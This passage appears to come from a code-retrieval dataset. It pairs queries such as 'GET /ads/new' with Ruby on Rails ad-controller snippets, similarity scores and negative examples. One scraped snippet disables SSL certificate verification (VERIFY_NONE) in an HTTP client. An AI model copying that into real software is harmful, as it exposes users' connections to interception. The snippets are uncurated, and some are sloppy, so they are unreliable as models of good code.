Adqui.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @adqui }\n end\n end", "def index\n @advertisements = Advertisement.all\n end", "def index\n @advertisements = Advertisement.all\n end", "def show\n\t\t@asset = @campaign.assets.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asset }\n end\n end", "def index\n \t@categories = Category.all\n \t@ads = Ad.all\n end", "def download_xml\n\t\turi = URI.parse(\"http://www.esmadrid.com/opendata/tiendas_v1_es.xml\")\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\tcontent = response.body\n\n\t\txml = REXML::Document.new(content)\n\n\t\treturn xml\n\tend", "def show\n @docent = Docent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @docent }\n end\n end", "def set_ad\n @ad = @org.ads.find(params[:id])\n end", "def index\n @buy_ads = BuyAd.all\n end", "def get_xml(url)\n Nokogiri::XML.parse(get(url), nil, nil, Nokogiri::XML::ParseOptions::STRICT)\n end", "def getToolsSyndicateBingads( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/tools/syndicate/bingads\",params)\n end", "def get_content(uri, eadid)\n file = fixture_dir.glob(\"**/*.EAD.xml\").find { |x| x.to_s.ends_with?(\"#{eadid}.EAD.xml\") }\n return File.read(file) if file.present?\n client.get(\"#{uri}.xml\", query: { include_daos: true, include_unpublished: false }, timeout: 1200).body.force_encoding(\"UTF-8\")\n end", "def new\n @advertise = Advertise.new\n @result = nil\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advertise }\n end\n end", "def index\n@magazine = Magazine.find_by_id(params[:magazine_id])\n@ads = @magazine.ads\nend", "def ads(id, &block)\n return get_metrics([\"ads\", id], &block)\n end", "def show\n @home_banner = HomeBanner.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @home_banner }\n end\n end", "def show\n \n@clicker = Clicker.find(params[:id])\n\n \nrespond_to do |format|\n \nformat.html # show.html.erb\n \nformat.xml { render :xml => @clicker+\"yyyyy\" }\n \n end\n \nend", "def show\n @agencies = Agency.find(params[:id])\n\n if @agencies \n respond_to do |format|\n format.json { render :json => @agencies }\n format.xml { render :xml => @agencies }\n end \n else\n head :not_found\n end\n end", "def xml(options = {})\n http = Net::HTTP.new(Picasa.host, 443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = Picasa.path(options)\n response = http.get(path, auth_header)\n if response.code =~ /20[01]/\n response.body\n elsif response.code.to_i == 403\n raise RubyPicasa::PicasaError, \"Authentication failed. You may need to refresh your access token.\"\n end\n end", "def show\n @article = Article.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @ad_set = AdSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad_set }\n end\n end", "def index\n @advertisers = Advertiser.all\n end", "def show\n @ad_tag = AdTag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ad_tag }\n end\n end", "def pacscl_xml\n document = Blacklight.default_index.search(q: \"id:#{params[:id]}\")&.dig(\"response\", \"docs\")&.first\n document = SolrDocument.new(document)\n document.suppress_xml_containers!\n respond_to do |format|\n format.xml do\n render xml: document.export_as_xml\n end\n end\n end" ]
[ "0.72110647", "0.71499324", "0.69318825", "0.6909815", "0.68556553", "0.68513006", "0.6689705", "0.6588134", "0.6588134", "0.6530148", "0.6521746", "0.64924604", "0.64236635", "0.6412978", "0.64126915", "0.63063145", "0.6294836", "0.62866426", "0.62866426", "0.62866426", "0.62866426", "0.62866426", "0.6273763", "0.6219735", "0.61233026", "0.6118588", "0.6116792", "0.6093374", "0.60657823", "0.60657823", "0.6042887", "0.60379356", "0.5976956", "0.5975865", "0.5941596", "0.59183234", "0.5903614", "0.5880482", "0.5875436", "0.5875436", "0.5875436", "0.5865758", "0.5858866", "0.5844163", "0.5829213", "0.5819766", "0.5816052", "0.5812451", "0.5807753", "0.57960796", "0.57819164", "0.5778406", "0.5778048", "0.5778048", "0.5778048", "0.57609624", "0.5759902", "0.5758594", "0.5744852", "0.5744852", "0.57389605", "0.5728093", "0.57256186", "0.5721024", "0.5720684", "0.57131803", "0.57010114", "0.56969535", "0.5694044", "0.568152", "0.56753325", "0.5670818", "0.56623", "0.5641569", "0.56348693", "0.5629784", "0.562974", "0.5626304", "0.5626304", "0.56238395", "0.56092566", "0.5605039", "0.56015563", "0.5594841", "0.5590877", "0.55841315", "0.5581182", "0.55740935", "0.5567373", "0.5561579", "0.55606884", "0.5560058", "0.5554627", "0.55521184", "0.55497277", "0.55487204", "0.554612", "0.5543411", "0.5543264", "0.55403435" ]
0.65510297
9
GET /ads/new GET /ads/new.xml
def new @ad = Ad.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @ad } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def new\n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert }\n end\n end", "def new\n\t\t@ad = Ad.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @ad }\n\t\tend\n\tend", "def new\n @ad_set = AdSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad_set }\n end\n end", "def new\n @advertise = Advertise.new\n @result = nil\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advertise }\n end\n end", "def new\n @nad = Nad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nad }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @adjunto = Adjunto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @adjunto }\n end\n end", "def create\n @ad = Ad.new(params[:ad])\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = 'Ad was successfully created.'.l\n format.html { redirect_to ad_url(@ad) }\n format.xml { head :created, :location => ad_url(@ad) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors.to_xml }\n end\n end\n end", "def new\n @ad = Ad.new\n @account_campaigns = Campaign.find_all_by_account_id(session[:account_id])\n @account_zones = Zone.find_all_by_account_id(session[:account_id])\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad }\n end\n end", "def new\n @ad = Ad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad }\n end\n end", "def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def new\n @adsize = Adsize.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @adsize }\n end\n end", "def create\n @ad = current_advertiser.ads.new(params[:ad])\n respond_to do |format|\n if @ad.save\n format.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @lead = Lead.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lead }\n end\n end", "def new\n @advert_module = AdvertModule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @advert_module }\n end\n end", "def new\n @campaign = Campaign.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @campaign }\n end\n end", "def new\n @advert = Advert.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advert }\n end\n end", "def new\n @docent = Docent.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @docent }\n end\n end", "def new\n @lead = Salesforce::Lead.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lead }\n end\n end", "def new\n @banner = Banner.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @banner }\n end\n end", "def new\n @site_banner = SiteBanner.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_banner }\n end\n end", "def new\n @announcer = Announcer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcer }\n end\n end", "def new\n @avance = Avance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @avance }\n end\n end", "def new\n @ad_boards_campaign = AdBoardsCampaign.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad_boards_campaign }\n end\n end", "def new\n @advertisement = Advertisement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisement }\n end\n end", "def new\n @advertisement = Advertisement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisement }\n end\n end", "def new\n @advertisement = Advertisement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisement }\n end\n end", "def new\n @traffic = Traffic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @traffic }\n end\n end", "def new\n @bdig = Bdig.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bdig }\n end\n end", "def new\n @advertise = Advertise.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertise }\n end\n end", "def new\n\n \n @advert = Advert.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advert }\n \n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @article = Article.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end", "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lease }\n end\n end", "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end", "def new\n @attender = Attender.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @attender }\n end\n end", "def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end", "def new\n @doc = Doc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end", "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml\n end\n end", "def new\n # @advertisement = Advertisement.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisement }\n end\n end", "def new\n @buddy = Buddy.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @buddy }\n end\n end", "def new\n @ad_tag = AdTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ad_tag }\n end\n end", "def new\n @crawler_article = CrawlerArticle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @crawler_article }\n end\n end", "def new\n @diet = Diet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @diet }\n end\n end", "def new\n @post184 = Post184.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post184 }\n end\n end", "def new\n @catena = Catena.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catena }\n end\n end", "def new\n @aplicacion = Aplicacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end", "def new\n @cat = Cat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cat }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @visaapp = Visaapp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visaapp }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @ad_style = Format.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad_style }\n end\n end", "def new\n @referral = Referral.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @referral }\n end\n end", "def new\n @referral = Referral.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @referral }\n end\n end", "def new\n @advertisment = Advertisment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @advertisment }\n end\n end", "def new\n @aviso = Aviso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aviso }\n end\n end", "def new\n @post194 = Post194.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post194 }\n end\n end", "def new\n @adqui = Adqui.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @adqui }\n end\n end", "def new\n @announcement = Announcement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcement }\n end\n end", "def new\n @announcement = Announcement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcement }\n end\n end", "def new\n @etd = Etd.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @etd }\n end\n end", "def new\n \n @link = Link.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @post322 = Post322.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post322 }\n end\n end", "def new\n @atest = Atest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atest }\n end\n end", "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end", "def new\n @post302 = Post302.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post302 }\n end\n end", "def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @client }\n end\n end", "def new\n @client = Client.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @client }\n end\n end", "def new\n @news_link = NewsLink.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_link }\n end\n end", "def new\n @post342 = Post342.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post342 }\n end\n end", "def new\n @ad_placement = AdPlacement.new\n @ad_placement.ad_id = params[:ad_id] unless params[:ad_id].blank?\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ad_placement }\n end\n end", "def new\n @link = Link.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @link = Link.new :long => 'http://'\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @link }\n end\n end", "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end", "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end", "def new\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end", "def new\n @good = Good.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @good }\n end\n end", "def new\n @threat = Threat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @threat }\n end\n end", "def new\n @auto = Auto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @auto }\n end\n end", "def new\n @tracker = Tracker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tracker }\n end\n end", "def new\n @gtfs_agency = GtfsAgency.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gtfs_agency }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "def new\n @client = Client.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @client }\n end\n\n end" ]
[ "0.7246472", "0.7246472", "0.703648", "0.6988676", "0.69388354", "0.6762822", "0.67388356", "0.67238015", "0.6679309", "0.66749793", "0.667481", "0.667481", "0.6659455", "0.6641959", "0.66296804", "0.66185975", "0.65708196", "0.65529805", "0.6540494", "0.65337914", "0.65320164", "0.6519706", "0.6507323", "0.64999753", "0.6466356", "0.64472735", "0.6421315", "0.6421315", "0.6421315", "0.6416517", "0.6410582", "0.63995004", "0.6398962", "0.63866955", "0.63866955", "0.63866955", "0.63866955", "0.63866955", "0.63866955", "0.63866955", "0.63866955", "0.6378027", "0.6377529", "0.637702", "0.6371628", "0.63697934", "0.6366201", "0.6355693", "0.6350398", "0.63496625", "0.6348848", "0.63475955", "0.6343416", "0.6343294", "0.6342015", "0.6333753", "0.6333372", "0.6333372", "0.6329624", "0.632733", "0.632733", "0.632733", "0.632733", "0.63042504", "0.63035655", "0.63035655", "0.63019806", "0.6299551", "0.6298796", "0.62979203", "0.6292", "0.6292", "0.62895924", "0.62889314", "0.628741", "0.6279877", "0.6275418", "0.62697774", "0.62669015", "0.62669015", "0.6264526", "0.6263441", "0.6263087", "0.62623215", "0.62623215", "0.62616074", "0.62607837", "0.62607837", "0.6258366", "0.6256587", "0.6256587", "0.6255468", "0.62540925", "0.6251012", "0.62477267", "0.62448496", "0.6244805", "0.6242748" ]
0.7490911
1
POST /ads POST /ads.xml
def create @ad = current_advertiser.ads.new(params[:ad]) respond_to do |format| if @ad.save format.html { redirect_to(@ad, :notice => 'Ad was successfully created.') } format.xml { render :xml => @ad, :status => :created, :location => @ad } else format.html { render :action => "new" } format.xml { render :xml => @ad.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @ad = Ad.new(params[:ad])\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = 'Ad was successfully created.'.l\n format.html { redirect_to ad_url(@ad) }\n format.xml { head :created, :location => ad_url(@ad) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors.to_xml }\n end\n end\n end", "def post(xmldoc)\n headers = {'Content-Type' => 'text/xml'}\n check_response( @httpcli.post(@endpoint, xmldoc, headers) )\n end", "def create\n @ad = Ad.new(params[:ad])\n @ad.account_id = session[:account_id]\n respond_to do |format|\n if @ad.save\n format.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @ad = current_user.ads.new(params[:ad])\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = 'Ad was successfully created.'\n format.html { redirect_to([current_user,@ad]) }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n fix_tokenized_input_params\n @ad = @org.ads.build(ad_params)\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to [@ad.org, @ad], notice: 'Ad was successfully created.' }\n format.json { render :show, status: :created, location: [@ad.org, @ad] }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def call\n response = call_ads_api\n ads = response[\"ads\"]\n ads_hash = index_ads_remote(ads)\n {success: true, data: ads_hash}\n end", "def create\n if ['Adsense', 'Adbard'].include? params[\"ad\"][\"_type\"]\n @ad = params[\"ad\"][\"_type\"].camelize.constantize.new\n case @ad\n when Adsense\n @ad.safe_update(%w[name position google_ad_client google_ad_slot\n google_ad_width google_ad_height], params[:ad])\n when Adbard\n @ad.safe_update(%w[name position adbard_host_id adbard_site_key], params[:ad])\n end\n @ad.group = current_group\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = t('ads.create.success')\n format.html { redirect_to(ads_path) }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\", :controller => \"ads\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n else\n respond_to do |format|\n format.html { render :action => \"new\", :controller => \"ads\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post(uri, xml)\r\n req = Net::HTTP::Post.new(uri)\r\n req[\"content-type\"] = \"application/xml\"\r\n req.body = xml\r\n request(req)\r\n end", "def create\n @ad = Ad.new(ad_params)\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render :show, status: :created, location: @ad }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @advert = Advert.new(params[:advert])\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to(admin_adverts_path, :notice => 'Advert was successfully created.') }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @ad = Ad.new(ad_params)\n\n if @ad.save\n render :show, status: :created, location: @ad\n else\n render json: @ad.errors, status: :unprocessable_entity\n end\n end", "def create\n @ad = Ad.new(params[:ad])\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render json: @ad, status: :created, location: @ad }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ad = Ad.new(ad_params)\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = :ad_was_successfully_created.l\n format.html { redirect_to ad_url(@ad) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end", "def create\n @advertisement = current_user.ads.new(advertisement_params)\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to app_advertisements_url, notice: 'Advertisement was successfully created.' }\n format.json { render :show, status: :created, location: @advertisement }\n else\n format.html { render :new }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n end\n end", "def create\n @ad = current_user.ads.new(ad_params)\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render :show, status: :created, location: @ad }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @advertiser = Advertiser.new(params[:advertiser])\n\n respond_to do |format|\n if @advertiser.save\n flash[:notice] = 'Advertiser was successfully created.'\n format.html { redirect_to advertiser_url(@advertiser) }\n format.xml { head :created, :location => advertiser_url(@advertiser) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @advertiser.errors.to_xml }\n end\n end\n end", "def ad_params\n params.require('ads')\n end", "def create\n\t\t@ad = Ad.new(params[:ad])\n\t\[email protected]_account_id = @auth_user.account_id\n\n\t\trespond_to do |format|\n\t\t\tif @ad.save\n\t\t\t\tupload_media\n\t\t\t\tformat.html { redirect_to(@ad, :notice => 'Ad was successfully created.') }\n\t\t\t\tformat.xml { render :xml => @ad, :status => :created, :location => @ad }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def create\n @advert = Advert.new(params[:advert])\n @advert.profile_id = @p.id\n @advert.viewcount = 0\n\n respond_to do |format|\n if @advert.save\n flash[:notice] = 'Advert was successfully created.'\n format.html { redirect_to('/adverts') }\n format.xml { render :xml => @advert, :status => :created, :location => @advert }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @advert.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @advert = Advert.new(advert_params)\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render :show, status: :created, location: @advert }\n else\n format.html { render :new }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @advert = Advert.new(params[:advert])\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render json: @advert, status: :created, location: @advert }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @adj = Adj.new(adj_params)\n\n respond_to do |format|\n if @adj.save\n format.html { redirect_to @adj, notice: 'Adj was successfully created.' }\n format.json { render :show, status: :created, location: @adj }\n else\n format.html { render :new }\n format.json { render json: @adj.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n\t@ad = Ad.new(ad_params)\n\[email protected] = current_user\n\trespond_to do |format|\n\t if @ad.save\n\t\tformat.html { redirect_to ad_path(@ad), notice: 'Ad was successfully created.' }\n\t\tformat.json { render :show, status: :created, location: @ad }\n\t else\n\t\tformat.html { render :new }\n\t\tformat.json { render json: @ad.errors, status: :unprocessable_entity }\n\t end\n\tend\n end", "def create\n @advert = @advert_class.new(params[:advert])\n\n respond_to do |format|\n if @advert.save\n format.html { redirect_to @advert, notice: 'Advert was successfully created.' }\n format.json { render json: @advert, status: :created, location: @advert }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advert.errors, status: :unprocessable_entity }\n end\n end\n end", "def ad_params\n \n params.require(:ad).permit(:content, :weight, :link, :counter, :location)\n end", "def create\n @ad = Ad.new(ad_params)\n @ad.user = current_user\n\n respond_to do |format|\n if @ad.save\n format.html { redirect_to @ad, notice: 'Ad was successfully created.' }\n format.json { render :show, status: :created, location: @ad }\n else\n format.html { render :new }\n format.json { render json: @ad.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @ad_set = AdSet.new(params[:ad_set])\n\n respond_to do |format|\n if @ad_set.save\n format.html { redirect_to(@ad_set, :notice => 'Ad set was successfully created.') }\n format.xml { render :xml => @ad_set, :status => :created, :location => @ad_set }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad_set.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @ads = Ad.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @ads.to_xml }\n end\n end", "def create\n @ad = Ad.new(params[:ad])\n\n respond_to do |format|\n if @ad.save\n flash[:notice] = 'Ad was successfully created.'\n # Create PDF\n @ad.generate_PDF\n format.html { redirect_to(@ad) }\n format.xml { render :xml => @ad, :status => :created, :location => @ad }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ad.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n @ads = Ad.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ads }\n format.json { render :json => @ads }\n end\n end", "def create\n @advertisement = Advertisement.new(params[:advertisement])\n\n respond_to do |format|\n if @advertisement.save\n format.html { redirect_to @advertisement, notice: 'Advertisement was successfully created.' }\n format.json { render json: @advertisement, status: :created, location: @advertisement }\n else\n format.html { render action: \"new\" }\n format.json { render json: @advertisement.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @adss = Adss.new(adss_params)\n\n respond_to do |format|\n if @adss.save\n format.html { redirect_to @adss }\n format.json { render :show, status: :created, location: @adss }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @adss.errors, status: :unprocessable_entity }\n end\n end\n end", "def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end", "def create\n @ad_post = AdPost.new(params[:ad_post])\n\n respond_to do |format|\n if @ad_post.save\n format.html { redirect_to @ad_post, notice: 'Ad post was successfully created.' }\n format.json { render json: @ad_post, status: :created, location: @ad_post }\n else\n format.html { render action: \"new\" }\n format.json { render 